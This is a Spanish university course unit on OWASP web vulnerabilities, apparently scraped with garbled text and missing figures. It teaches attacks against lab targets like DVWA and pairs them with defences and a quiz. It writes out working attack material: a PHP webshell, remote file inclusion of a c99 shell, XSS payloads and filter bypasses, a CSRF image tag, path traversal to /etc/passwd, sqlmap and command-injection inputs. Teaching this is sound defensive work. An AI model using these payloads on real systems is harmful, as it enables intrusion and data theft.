Professional Documents
Culture Documents
[3.2] OWASP
3
TEMA
Vulnerabilidades web
TEMA 3 Esquema
Introduccin DVWA BurpSuite Authentication bypass
Qu es? Introduccin Herramientas de
Fuerza bruta
Qu busca? Instalacin la suite
CSRF
2
Referencia directa insegura a
objetos
WebGoat
SQLMap
Introduccin Configuraciones inseguras
Instalacin
Hydra
Inyeccin
Tamper Data
Redirecciones y reenvos
Gestin de sesin
Ideas clave
Para estudiar este tema lee las Ideas clave que se exponen a continuacin.
En la actualidad, casi todo est relacionado con Internet y las aplicaciones y servicios
web que proporciona, ya sea para ver el correo o para hacer compras online. Pero hay
datos sensibles y debe haber una seguridad en todos estos servicios y aplicaciones.
Tamper Data, un plugin muy til que realiza la funcin de captura y modificacin de
peticiones HTTP.
Estas vulnerabilidades son: Authentication bypass, fuerza bruta, Cross Site Request
Forgery (CSRF), ejecucin maliciosa de ficheros local (LFI) y remota (RFI), Cross Site
Scripting (XSS), configuraciones inseguras, referencia directa insegura a objetos,
inyeccin (de comandos y SQL), redirecciones y reenvos, subida de archivos sin
restriccin, gestin de sesiones, almacenamiento criptogrfico inseguro y proteccin
insuficiente en la capa de transporte.
3.2. OWASP
Los documentos con ms xito de OWASP son OWASP Testing Guide y OWASP Top
10. El primero, que ya va por su versin 4, consiste en una gua prctica y terica para
realizar pentesting a aplicaciones web; el segundo consiste en una recopilacin de las
vulnerabilidades ms frecuentes que nos podemos encontrar en las aplicaciones web,
as como su funcionamiento, impacto y formas de evitarlas.
Nos vamos a fijar en los top 10 de los aos 2010 y 2013 (este ltimo es el ms actual) y
veremos cmo han cambiado en estos aos. En los prximos apartados veremos ms a
fondo los diferentes tipos de vulnerabilidades.
Para poder realizar algunos ejemplos y poder practicar las vulnerabilidades que iremos
viendo ser necesario un entorno que simule una aplicacin web real. No es
conveniente hacerlo con sitios web reales ya que podemos causar verdaderos problemas
a los sitios y hacerlo sin consentimiento de los administradores del sitio es ilegal.
1. DVWA
Su interfaz es la siguiente:
Vamos a explicar cmo realizar su instalacin en nuestra mquina Kali Linux, pero se
podra hacer en cualquier sistema operativo. Para realizar la instalacin ser necesario
tener un servidor, una base de datos y PHP ya instalado (ya que DVWA est basado en
este lenguaje).
2. Mutillidae
Mutillidae contiene varios tipos de vulnerabilidades ms que DVWA y posee dos niveles
de sugerencias o consejos (Tips) para ayudar al usuario a explotarlas. Incluye todas las
vulnerabilidades vistas en el OWASP Top 10 (tanto de 2010 como de 2013).
El cdigo fuente de las pginas y los scripts ests comentado para permitir al usuario
ver cmo funcionan las defensas y vulnerabilidades.
3. WebGoat
WebGoat est escrito en Java y se puede instalar en cualquier mquina que tenga una
mquina virtual de Java, por lo que funciona sobre cualquier sistema operativo (Linux,
Windows, Mac OS X...).
La plataforma adems incluye informacin acerca de las cookies y los parmetros que
se envan y gestionan.
Una vez descargado ejecutaremos el siguiente comando cada vez que queramos utilizar
la plataforma, pues no necesita instalacin ni ejecutar ningn servidor o base de datos
extra, ya lo hace todo el archivo jar: java -jar WebGoat-6.0.1-war-exec.jar.
3.4. Herramientas
Antes de comenzar a ver los diferentes tipos de vulnerabilidades web vamos a ver ms a
fondo algunas herramientas diseadas especialmente para el anlisis y explotacin de
aplicaciones y servicios web. Estas herramientas facilitarn enormemente la bsqueda
de vulnerabilidades y la automatizacin de la explotacin.
1. BurpSuite
Para usarlo ser necesario establecer en el navegador que vamos a utilizar un proxy, en
este caso lo vamos a explicar para Iceweasel (Firefox) el navegador por defecto en Kali.
Adems quitaremos que no se pueda usar un proxy en localhost (puesto por defecto).
Por defecto BurpSuite utiliza el puerto 8080, pero si lo queremos modificar podemos ir
a Proxy > Options y ah lo cambiaremos. Podemos ver un ejemplo de captura a
WebGoat con este proxy:
Nota: no olvidar desactivar el proxy en las opciones del navegador al cerrar BurpSuite,
ya que no funcionar, porque todas las peticiones las mandar al puerto proxy y no
habr ninguna aplicacin para reenviarlas.
Para utilizarlo elegiremos una captura hecha con el proxy y con clic derecho o pulsando
Action, seleccionaremos Send to Spider.
Otra de las herramientas y una de las ms potentes de la suite es Intruder, con la que
podremos realizar ataques sobre aplicaciones web automatizados. Nos
permitir generar peticiones HTTP maliciosas y detectar y explotar vulnerabilidades
como inyeccin SQL, XSS, manipulacin de parmetros o ataques por fuerza bruta.
La siguiente herramienta, el Repeater, ser muy simple. Nos permitir coger una
peticin realizada y reenviarla tantas veces queramos modificando manualmente los
parmetros.
2. OWASP-ZAP
El puerto por defecto ser de nuevo el 8080. Aunque no tengamos activa la captura
de peticiones y respuestas, todos los sitios web que visitemos mientras utilicemos el
proxy quedarn guardadas en el mapa de sitios de OWASP-ZAP.
Capturar peticiones
y/o respuestas
Proxy de OWASP-ZAP.
En el reporte nos aparece el cdigo malicioso que podemos introducir para comprobar
el resultado de escaneo:
Un spider o araa, que intenta indexar y capturar las URL de una pgina
para hacer un mapa completo del sitio web. Una forma que tiene de hacerlo
es ver el cdigo HTML y buscar todas las direcciones del mismo dominio para
redirigir y repetir. Tiene dos tipos de spider, uno tradicional y otro para sitios web
AJAX. Para utilizarlo simplemente daremos clic derecho en un sitio guardado en la
pestaa de sitios y seleccionaremos Atacar > Spider tipo, donde tipo podr ser
el sitio entero o una URL especfica.
3. SQLMap
sqlmap --url="http://www.paginaweb.com/injeccion?=id=1"
4. Hydra
Los ataques por fuerza bruta intentan adivinar las credenciales de autenticacin para
ganar acceso al sistema. Es una manera simple y segura de conseguir un resultado, pero
tiene dos grandes desventajas:
El tiempo que puede tardar en probar todas las combinaciones posibles de usuario y
contrasea.
El ruido que causa, pues genera mucho trfico (pudiendo provocar denegaciones de
servicio con estas herramientas de ataque por fuerza bruta).
Para utilizar la herramienta lo haremos por consola. Por ejemplo, si queremos realizar
un ataque por fuerza bruta para obtener las credenciales para conectarnos por SSH a
una mquina con la IP 192.168.1.30 utilizando una lista para usuarios y otra lista para
contraseas:
Figura 20. Uso de Hydra para conectarnos a una mquina por ssh.
5. Tamper Data
Tamper Data no es una aplicacin como las anteriores que hemos visto, sino que es un
plugin para el navegador (en concreto para Firefox y derivados), pero es una
herramienta muy til, sencilla y rpida.
Cuando hablamos de BurpSuite vimos que traa una herramienta de Proxy, pues
Tamper Data realiza esa misma funcin, pero al ser un plugin del navegador nos
permite no tener que modificar las conexiones para establecer manualmente un proxy.
1. Authentication Bypass
Muchas pginas web requieren algn tipo de autenticacin para acceder a zonas
restringidas o informacin privada, normalmente con un nombre de usuario y
contrasea. Cuando una pgina web permite la introduccin de un usuario o
contrasea lo hace mediante peticiones GET o POST. Para realizar estas peticiones se
deben rellenar ciertos campos donde introducir las credenciales.
URLs mal restringidas. Un error muy bsico que comete un gran nmero de
desarrolladores es crear un mecanismo de autentificacin para un servicio web,
pidiendo usuario y contrasea en una pgina de login y, posteriormente, dar acceso
al resto de pginas del servidor sin realizar otra comprobacin.
El problema con esto reside en que si obtenemos una URL de la zona privada
podramos acceder a ella sin autenticarnos, ya que no comprobar si lo hemos hecho
previamente.
Un ejemplo puede darse en las URLs de un banco. Tenemos una cuenta en un banco
y nos conectamos a su pgina web para consultar nuestro saldo y realizar
transacciones. Nos pide usuario y contrasea para acceder a nuestra cuenta y vemos
que la URL es: https://www.mibanco.es/user/getAccount. Pero si las URL no
estuvieran bien configuradas podramos acceder a otras zonas de la pgina web que
deberan ser privadas cambiando /user/ por otra cosa, como /admin/, /manager/,
/administrator/
Ofuscar las URL. Algunos servidores web tienen listas de pginas que estn
restringidas y que necesitan de autentificacin para acceder a ellas. Pero podra
haber URLs que no estn en la lista de pginas restringidas que apunten a dichas
pginas.
La consulta solo analizar hasta el usuario, ya que para el resto crear una tabla
temporal que dar un error, aunque esto no nos afectar. Como el usuario existe y
solo hay una entrada en la base de datos, nos identificar como este usuario y
podremos saltarnos la autentificacin sin necesidad de introducir contrasea.
La forma ms fcil para evitar estos fallos es utilizar funciones que comprueben los
parmetros antes de pasrselos a las consultas, como en los niveles medio y alto de
DVWA de fuerza bruta.
2. Fuerza bruta
La nica forma que nos queda ser comprobar todas las posibles combinaciones
de usuario contrasea. Normalmente esta es una tarea muy tediosa, por lo que se
recurren a diccionarios (archivos de texto con gran cantidad de palabras que se suelen
utilizar como usuario o contrasea). A este tipo de ataque se le llama de fuerza bruta.
Para ver un ejemplo nos fijamos de nuevo en la pgina DVWA, en la pestaa de Brute
Force. En este caso usaremos la dificultad medium.
Vamos a utilizar la tcnica de fuerza bruta para poder obtener el nombre de usuario y la
contrasea. Para ello utilizaremos la herramienta BurpSuite y su pestaa de Intruder.
Pasos:
En primer lugar pondremos el navegador en modo proxy por el puerto 8080 como
ya se ha explicado.
En este caso se ha usado una pequea lista con combinaciones que se conoce de
antemano que funcionarn, para ahorrar tiempo, pero en un entorno real ser
necesario probar uno o varios diccionarios completos.
Figura 32. Resultados obtenidos, a la derecha estn marcados los mensajes que coinciden con el patrn
anterior
Nota: a veces para mejorar la efectividad de los ataques de fuerza bruta por diccionario,
es conveniente crear nuestro propio diccionario. Para ello nosotros usaremos la
herramienta Crunch ya incluida en Kali Linux.
Esta herramienta nos permite utilizar patrones para generar grandes listas de palabras
que podremos utilizar como diccionarios. Nos permite elegir la longitud que queremos
que tengan las palabras generadas (mnima y mxima). Para ver todas las opciones de
esta herramienta escribiremos en consola:
crunch --help
Si por ejemplo conocemos que las contraseas de alguna organizacin se generan con 3
letras y 4 nmeros podremos generar un diccionario con todas las combinaciones
posibles para poder usar luego herramientas como Hydra o BurpSuite para atacar por
fuerza bruta.
CSRF es tan peligroso como la aplicacin web que se ataque, si fuera un banco, un
atacante podra hacer transferencias desde la cuenta de la vctima, cerrar una cuenta
bancaria, etc.
El gran problema con este tipo de vulnerabilidades es que es muy difcil seguir la pista
hasta el atacante, ya que la IP que realiza la peticin a la aplicacin web vulnerable es la
de la vctima (como si fuera una operacin lcita).
<img src="https://www.facebook.com/pages/PaginaParaLikes/?=like">
La vctima que tiene abierta una sesin en Facebook visita la pgina web del
atacante, al hacerlo descarga la imagen y el navegador ejecuta el cdigo oculto.
Si la sesin de la vctima no ha caducado, Facebook tomar la peticin como legtima
(ya que la cookie de sesin no ha caducado, el navegador y la IP son los de la vctima,
etc.) y realizar la accin del atacante sin el conocimiento de la vctima.
Deben cumplirse varias condiciones para que pueda darse a cabo este tipo de ataque:
Esta medida, por ejemplo, se usa para evitar acceder a pginas de forma directa, es
decir, sin pasar por pginas de registro.
El atacante debe encontrar alguna forma (HTML) o URL que realice la accin que
desee (como hacer likes, transferir dinero o cambiar una contrasea).
El atacante deber conocer el valor Victima (que podra ser un nombre, una cuenta o
un identificador de cliente) para poder realizar la operacin.
El atacante debe asegurarse que la vctima accede a la pgina con el cdigo malicioso
cuando tiene una sesin abierta en el sitio objetivo.
127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Ch
ange=Change#
Para el ejemplo, primero con el nivel bajo, crearemos una pequea pgina web con una
imagen que referencie a la URL maliciosa y la guardaremos en la carpeta
/var/www/falso.
El segundo ejemplo, con el nivel intermedio, ser similar. En este caso crearemos una
pgina con un enlace que nos redireccionar a la pgina de DVWA y cambiar la
contrasea.
http://www.pagina_vulnerable.com/index.php?page=plantilla.html
Nota: en muchos casos no funcionar, ya que servidores como Apache, por defecto,
tienen un parmetro que evita que se pueda realizar esta llamada a otras pginas web.
Para desactivarlo (en el caso de Kali Linux) deberemos ir al fichero:
/etc/php5/apache2/php.ini
En caso de no usar Kali Linux y Apache2 como servidor, deberemos buscar el archivo
php.ini del que usemos y modificar el mismo parmetro.
Nuestro objetivo ser ejecutar una webshell en la pgina vulnerable, as que crearemos
una (o la descargaremos). En nuestro caso hemos copiado el cdigo fuente de la
webshell desde pastebin.com y hemos creado el archivo c99.txt en la carpeta falsa de
nuestro servidor (para simular una pgina web ajena al servidor).
http://pastebin.com/JK2AaELL
A continuacin se explicarn los dos tipos de inclusin de ficheros que hay: remota y
local.
Consiste en llamar desde la pgina web a un fichero que est situado en otro
servidor. El fichero al que queramos llamar no debe acabar en .php, ya que este tipo
de fichero se ejecuta en el servidor en el que est; por ello lo hemos llamado c99.txt.
Esta webshell ser solo de lectura, pero podremos obtener mucha informacin del
servidor, as como descargar el cdigo fuente de las pginas.
En este caso consiste en llamar desde la pgina web a un fichero local, es decir, que
ya est en el servidor (en cualquier lugar de este) y ejecutarlo. Por ejemplo si ya
hemos conseguido subir una webshell al servidor por algn mtodo, podremos
llamarlo utilizando su ruta absoluta o relativa.
Podemos ver un ejemplo con el nivel medio de DVWA. En este nivel la pgina
comprueba antes de hacer el include(), pues no permite la introduccin de http o
https para poder hacer una inclusin remota (aunque podramos llamar a un
archivo de un servidor ftp, ya que no lo bloquea).
Tambin hay otra forma para realizar esta inclusin local sin necesidad de tener el
archivo de la webshell cargado en la mquina del servidor. Para ello usaremos el
esquema URL data (disponible a partir de PHP 5.2).
Un ejemplo del funcionamiento es: ?page=data:, <?php echo "Prueba de data"; ?>
Nosotros lo que queremos es ejecutar comandos como si fuera una shell, as que
llamaremos a una de forma local con la llamada system().
Se puede ver que el segundo tipo de XSS es muy peligroso, ya que, si algn sitio web
que reciba millones de visitas al da es vulnerable a un XSS almacenado se podran
comprometer todas las mquinas para cualquier fin: robo de datos, botnets, etc.
XSS Reflejado
En el nivel fcil vemos que no realiza comprobacin alguna del texto que
introduzcamos.
?name=</pre><script>javascript:alert("XSS!!");</script>
</pre><img src=http://www.fasebonus.net/wp-content/uploads/2013/02/hacker-02.jpg>
Existen muchas tcnicas para saltarnos este tipo de controles mediante listas negras de
palabras o expresiones. Un par de ejemplos pueden ser:
Usar maysculas:
?name=<SCRIPT>javascript:alert("XSS!!")</script>
?name=<scrip<script>t>javascript:alert("XSS!!")</script>
Hay muchas ms formas de evadir estos filtros, como otras combinaciones o codificar
las URL.
XSS Almacenado
Nos encontramos con un libro de visitas en el cual podemos introducir texto en dos
campos. Si nos fijamos y comenzamos a poner caracteres en ellos veremos que el
primero solo acepta 10 y el segundo 50.
Podemos introducir de nuevo el cdigo que queramos, ya sea para generar una alerta,
inyectar una foto, redirigir a otra pgina pero a diferencia del caso anterior, se
quedar guardado y siempre que carguemos la pgina el cdigo se ejecutar.
Para el ejemplo vamos a ver el nivel bajo e intentaremos hacer que la pgina nos
redireccione a otra que queramos, es decir, que siempre que accedamos a la pestaa
XSS Stored nos redireccionar a otra pgina. Para ello usaremos:
Cuando queramos insertar el cdigo en el mensaje veremos que no entra todo, por lo
que deberemos usar Tamper Data.
Nota: para eliminar las entradas del libro de visitas que hayamos creado ser necesario
resetear la base de datos de la pgina.
Filtrar las salidas convirtiendo el texto o datos que podran contener scripts
maliciosos a un formato codificado:
o < y > -> < y >
o ( y ) -> ( y )
o # y & -> # y &
Utilizar validacin de entrada mediante una lista blanca y no una lista negra.
Podemos ver que usando una lista negra, en el ejemplo de XSS Reflejado filtrando
por <script>, somos capaces de saltrnoslo.
Tenemos una cuenta en la pgina online de un banco y al conectarnos nos aparece una
URL como esta:
http://www.mibanco.com/usuario/cuentas.php?cuenta=1234
Si ahora cambiamos el parmetro cuenta de la URL, por ejemplo por 1235, esta
vulnerabilidad nos permitira acceder a la pgina del banco de la persona que tenga la
cuenta 1235, as como realizar acciones en ella.
http://www.mibanco.com/descarga.php?dir=nomina&file=123123.pdf
Podramos cambiar el valor de estos parmetros dir y file y acceder a archivos del
servidor.
http://www.mibanco.com/descarga.php?dir=../../../etc&file=passwd
Como se puede ver, no se est haciendo ningn tipo de inyeccin como en el caso de
XSS; simplemente estamos modificando el parmetro a buscar, por lo que filtrar
parmetros y usar listas blancas no servira. Para evitar este tipo de vulnerabilidad
podemos:
Eliminar la referencia al objeto.
Sustituir la referencia por un valor temporal de referencia (1, 2, 3, 4). Aunque
implicara implementar algn mapa de referencia que permita traducir de uno a
otro.
7. Configuraciones inseguras
Una mala configuracin puede tener todo tipo de consecuencias: revelar directorios,
datos de conexin, credenciales, informacin de la base de datos, modificar ficheros
Instalacin de puertas traseras debido a la falta de parches.
Explotacin de XSS debido a falta de parches de seguridad.
Acceso no autorizado a cuentas por defecto.
8. Inyeccin
La inyeccin consiste en manipular las entradas de una aplicacin para mandar texto
de una forma concreta y que los intrpretes de rdenes lo tomen como comandos y los
ejecuten. Los intrpretes ms comunes son SQL, shell del sistema operativo, LDAP,
XPath
Inyeccin de comandos
A veces las pginas web utilizan llamadas a programas en el mismo servidor para
permitir ejecutar al usuario diversas tareas o servicios, como las tpicas pginas que
permiten hacer ping a una direccin IP. Pero, qu ocurre si estas pginas no
comprueban la entrada de texto antes de realizar la llamada?
El nivel bajo no realiza comprobacin alguna del texto que se introduce por pantalla,
por lo que podramos usar smbolos de consola para ejecutar una sentencia detrs de
otra como ; (Linux) o && (Windows).
En el caso del nivel intermedio la pgina cuenta con un par de restricciones que son:
eliminar los ; y && que encuentre en el texto introducido. Pero podremos seguir
ejecutando texto a travs de las tuberas en Linux | o el OR en Windows ||.
No solo los servicios que hacen ping pueden ser vulnerables. Cualquier funcin que
realice una llamada a algn programa dentro del servidor del estilo cmd(), shell_exec()
o system() y permita al usuario introducir valores dentro, podra serlo.
Inyeccin SQL
Casi la totalidad de las aplicaciones web en Internet poseen una base de datos, ya sea
para almacenar las credenciales de acceso como para guardar informacin del
contenido de las pginas. Para acceder a estas bases de datos es necesario un lenguaje
especfico para realizar las consultas, as como un intrprete que entienda las consultas
y nos devuelva un resultado. El lenguaje ms comn de todos, en el mbito de
aplicaciones web, es SQL y la base de datos ms comn es MySQL, por eso este tipo de
inyeccin es la ms comn.
Nos encontraremos ante una inyeccin clsica si nos muestra estos errores y ante
una inyeccin a ciegas (Blind SQL injection) si solo nos muestra informacin cuando
realizamos una consulta correcta y hay informacin que mostrar (no es lo mismo hacer
correctamente una consulta pero que una tabla o columna no existan, que hacer mal la
consulta directamente).
Para ambos tipos de SQL injection usaremos como ejemplo la plataforma DVWA, en las
pestaas SQL Injection y SQL Injection (Blind), en las que ser vulnerable tanto el nivel
bajo como el nivel medio. En ambas solo dispondremos de un campo de texto.
Nosotros podremos cambiar el parmetro id, por lo que podemos realizar varios test
para comprobar la explotacin de la base de datos y averiguar ms cosas sobre ella.
El test positivo nos deber devolver un resultado, mientras que el negativo no debera
devolver nada. Con ello comprobamos si estamos ante un caso de inyeccin clsica o a
ciegas.
En este caso podemos ver que la respuesta devuelve un error para 3 columnas, por lo
que tendr 2 (hemos visto en el cdigo fuente que es as, first name y last name).
Para obtener la versin de la base de datos (podemos ver como se utilizan 2 columnas,
una para la versin y otra siempre con un 1 para que sea correcta la consulta):
Figura 60. Nos da error porque el servidor codifica las comillas dobles.
Para solucionarlo tendremos que introducir un valor vlido en id, es decir, un nmero
entero.
Deberamos repetir los pasos del ejemplo anterior para obtener de nuevo las columnas,
aunque en este caso siguen siendo 2.
El primer paso para obtener toda la informacin de una base de datos ser obtener su
nombre:
El nombre de la base de datos ser dvwa. Para intentar obtener las tablas de esta
base de datos, probaremos accediendo al esquema por defecto de las tablas de las bases
de datos MySQL information_schema.tables. La consulta sera as:
Pero obtendremos un error ya que no podemos utilizar las comillas en las consultas por
el saneamiento de la entrada de texto. As que tendremos que obtener el esquema de
todas las tablas de la base de datos, en lugar de solo la que nos interesa y buscar
despus la que nos interesa.
Encontramos que tiene dos tablas: guestbook (que podemos suponer que ser la que
usa como libro de visitas para la pestaa de XSS almacenado) y users (que podemos
suponer que ser donde guarda la informacin de los usuarios).
1 or NombrePrueba = z
Donde NombrePrueba ser el nombre de la columna que pensamos que puede existir
en la base de datos. Podremos encontrar dos tipos de respuesta por parte de la base de
datos, que exista el nombre o que no:
NO EXISTE EXISTE
Una vez descubiertas las columnas, realizamos la consulta final para obtener la
informacin que queremos.
Ahora vamos a ver un poco blind SQL injection. El problema que nos ocasiona es que
no podremos ver los errores como hemos hecho con la inyeccin clsica. Aunque
podremos realizar las mismas acciones pero con algunos matices:
Hay que suponer que realizamos correctamente las consultas y cuando no nos
devuelve nada es porque algo a lo que hemos hecho referencia en la consulta no
existe.
Podemos hacer consultas de tal manera que devuelva valores booleanos. Si por
ejemplo no nos dice la versin de la base datos podemos preguntar carcter a
carcter.
1 -> Correcto
0 -> Incorrecto
A la hora de descubrir las tablas y las columnas podemos utilizar de nuevo los
esquemas por defecto, pero podemos codificar en hexadecimal los nombres en lugar
de ponerlos entre comillas (tambin lo podemos hacer en las inyecciones clsicas).
dvwa = 0x64767761
users = 0x7573657273
Las tcnicas para realizar consultas SQL ms importantes (algunas de ellas ya las
hemos estado usando) son:
o UNION query-based. Realizar consultas concatenando con la expresin
UNION (la que hemos estado usando).
o Error-based. Cuando no podemos utilizar tcnicas como UNION se puede
intentar provocar errores y enviarnos el resultado del error.
o Out-of-Band. Similar al anterior pero intentando enviar todo, tanto errores
como resultados.
o Boolean-based. Se realiza una consulta que devuelve un valor booleano,
utilizando expresiones como LENGTH, ASCII o SUBSTRING.
o Time-based. Esta tcnica consiste en enviar una consulta inyectada con la
condicin a true y monitorizar el tiempo que tarda un servidor en responder. Si
hay algn retraso, se puede asumir que el resultado de una consulta condicional
es verdadero.
Como ya hemos visto, disponemos de una herramienta para realizar inyecciones SQL,
tanto clsicas como blind: esta es sqlmap, disponible en Kali Linux. Vamos a hacer una
prueba de nuevo con la plataforma DVWA y esta herramienta para sacar las bases de
datos y las tablas de estas.
Al ejecutarlo nos dir que nos ha redirigido a la pgina de login, por lo que tendremos
que utilizar una cookie de la sesin que tengamos abierta.
sqlmap --url=http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
--cookie=security=medium; PHPSESSID=8k2kj7a9454b18lbojv87jc7d6 --dbs
sqlmap --url=http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
--cookie=security=medium; PHPSESSID=8k2kj7a9454b18lbojv87jc7d6 --schema
--exclude-sysdbs
Para evitar las vulnerabilidades de inyeccin (tanto las de inyeccin de comandos como
las de SQL) hay algunas recomendaciones:
Evitar utilizar un intrprete, en los casos que sea posible.
Utilizar una interfaz que implemente variables vinculadas (bind).
o Sentencias preparadas.
o Procedimientos almacenados.
o Las variables vinculadas permiten al intrprete distinguir entre cdigo y datos.
Codificar todas las entradas antes de que lleguen al intrprete, quitando smbolos
que puedan afectar a una consulta.
Validar todas las entradas que provengan del usuario mediante una lista blanca, es
decir, denegar todo por defecto y definir los casos que s son vlidos.
Depurar los privilegios del usuario con el que se accede a la base de datos.
Solamente permitir la lectura de las tablas necesarias (sobretodo restringir el acceso
a las tablas con los esquemas por defecto que hemos visto).
Desactivar la escritura donde sea posible.
Deshabilitar la conexin remota a la base de datos (o filtrarla mediante IP) para que
un atacante no se pueda conectar remotamente.
9. Redirecciones y reenvos
Muchos sitios web utilizan parmetros de redireccin en sus URL; esto se suele
utilizar para redirigir a un usuario a otra pgina tras realizar una operacin.
En muchos casos se utiliza la ingeniera social para conseguir que la vctima abra el
enlace, ya sea por email, foros, chats
Para un ejemplo podemos suponer un escenario en el que la pgina de PayPal, cada vez
que haces Log out de tu cuenta te reenva de nuevo a la pgina de login de la forma:
https://www.paypal.es?dest=www.paypal.es/login.php
https://www.paypal.es?dest=www.paypalFalso.es/login.php
La URL inicial corresponde con la pgina oficial por lo que un usuario descuidado
podra fcilmente caer en el intento de phishing.
Subir archivos representa un riesgo para las aplicaciones. Muchos ataques contra
aplicaciones web consisten en dos fases, la primera es conseguir algn cdigo en el
sistema a atacar y la segunda encontrar una manera de ejecutar ese cdigo. Con la
subida de archivos se ayuda a un atacante a conseguir la primera fase.
Hay dos tipos de problemas con la subida de archivos. El primero son los metadatos de
archivos, como el path o el nombre. Estos podran modificarse al realizarse la peticin
de envo HTTP con proxys como Tamper Data, pudiendo subir archivos no permitidos
o sobrescribiendo archivos crticos del servidor. El segundo tipo de problema es el
tamao del archivo o su contenido. De nuevo se podra modificar con un proxy
permitiendo la subida de archivos maliciosos.
Nota: para que pueda funcionar la subida de archivos es necesario dar permisos 777 a la
carpeta /var/www/dvwa/hackable/uploads con chmod.
En el nivel bajo vamos a insertar subir una webshell como la c99, ya que no tiene
proteccin alguna contra ningn tipo de archivo. Pero al intentarlo vemos que no nos
deja, as que vamos a probar utilizar Tamper Data para ver qu ocurre.
Vemos que tiene un tamao mximo de archivo, as que vamos a probar modificarlo.
Ahora si nos dejar subir la webshell y podremos acceder a ella (y con permisos de
escritura!):
<?php
$cmd=$_GET[cmd];
system($cmd);
?>
Tambin nos dar error, pues la aplicacin comprueba el tipo de archivo que se sube,
permitiendo solo aquellos que sean del tipo image/jpeg.
Recordamos que en la plataforma DVWA si mirbamos con Tamper Data las peticiones
encontrbamos el identificador de la sesin as como la configuracin de seguridad:
http://www.ejemplo.com/index...?session_name=sessionid
Normalmente un atacante tiene los mismos privilegios que la vctima a la que usurpa la
identidad, pero puede darse casos en los que la vctima tenga ms privilegios y permita
al atacante escalar privilegios o iniciar nuevos vectores de ataque.
http://www.foro.com?SESSID=1234
El usuario hace clic en algn enlace y le llevar a una pgina maliciosa. En ella, el
administrador de la web podr ver los logs de las peticiones HTTP y ver en el
campo referer de esta, la URL anterior. El atacante entonces podr suplantar la
identidad de la vctima utilizando su mismo identificador.
Session fixation. Un atacante realiza una peticin de login a una aplicacin web y el
sitio web le devuelve un identificador de sesin para que se conecte. En lugar de
introducir sus credenciales, el atacante enva a la vctima a la pgina de login, con el
identificador de sesin que se le dio al atacante, para que esta introduzca sus
credenciales. Una vez la vctima se haya autentificado, un atacante podr
suplantarla, pues posee el mismo identificador.
Cifrar los datos se ha vuelto relativamente sencillo para los desarrolladores, ya que la
mayora de las plataformas lo integran, pero aun as es comn ver fallos en su
implementacin (o incluso que no se implemente):
Almacenaje inseguro o incorrecto de contraseas, certificados, claves, etc.
Uso de algoritmos inadecuados (dbiles, obsoletos, vulnerables).
Utilizar una semilla insuficientemente aleatoria para vectores de inicializacin.
Intentar desarrollar un sistema de cifrado propio.
Un atacante para romper cifrados dbiles o vulnerables puede usar rainbow tables
(tablas con las posibles combinaciones de contrasea-hash de algn algoritmo de
cifrado dbil, como MD5 o SHA) o pginas que tengan una base de datos de
contraseas rotas como:
http://www.md5decrypter.co.uk
Se pueden ver los siguientes artculos para saber ms sobre estas tcnicas:
http://www.elladodelmal.com/2015/03/bar-mitzvah-nuevo-ataque-ssltls-te-roba.html
http://www.elladodelmal.com/2015/03/ataques-smack-sobre-tls-skip-tls-freak.html
La principal solucin para evitar este tipo de fallos es utilizar TLS (actualmente la
ltima versin es la 1.2) para transmitir toda la informacin o al menos la informacin
sensible.
Lo + recomendado
Lecciones magistrales
En esta leccin magistral se van a comentar brevemente las tcnicas de hacking sobre
SQL Injection, XSS y RFI.
No dejes de leer
El siguiente documento pretende mostrar la forma de securizar una red local para uso
domstico.
SQL Injection
+ Informacin
A fondo
XSS
Gestin de sesiones
Webgrafa
Owasp
Mutillidae
Acunetix
Bibliografa
Actividades
Se deben explicar todos los pasos para realizar un ataque de fuerza bruta a un router
genrico.
Es necesario que comentes brevemente todos los pasos seguidos en la realizacin de los
ataques de Command Injection en Mutillidae.
Para realizar este trabajo debes explicar todos los pasos a seguir para realizar los
ataques SQL Inject con SQLmap.
Test
7. El ataque que obliga al navegador de una vctima autentificada a enviar una peticin
HTTP falsificada es una vulnerabilidad que se conoce con el nombre de:
A. XSS reflejado.
B. CSRF.
C. Session Hijacking.
D. Redirecciones y reenvos.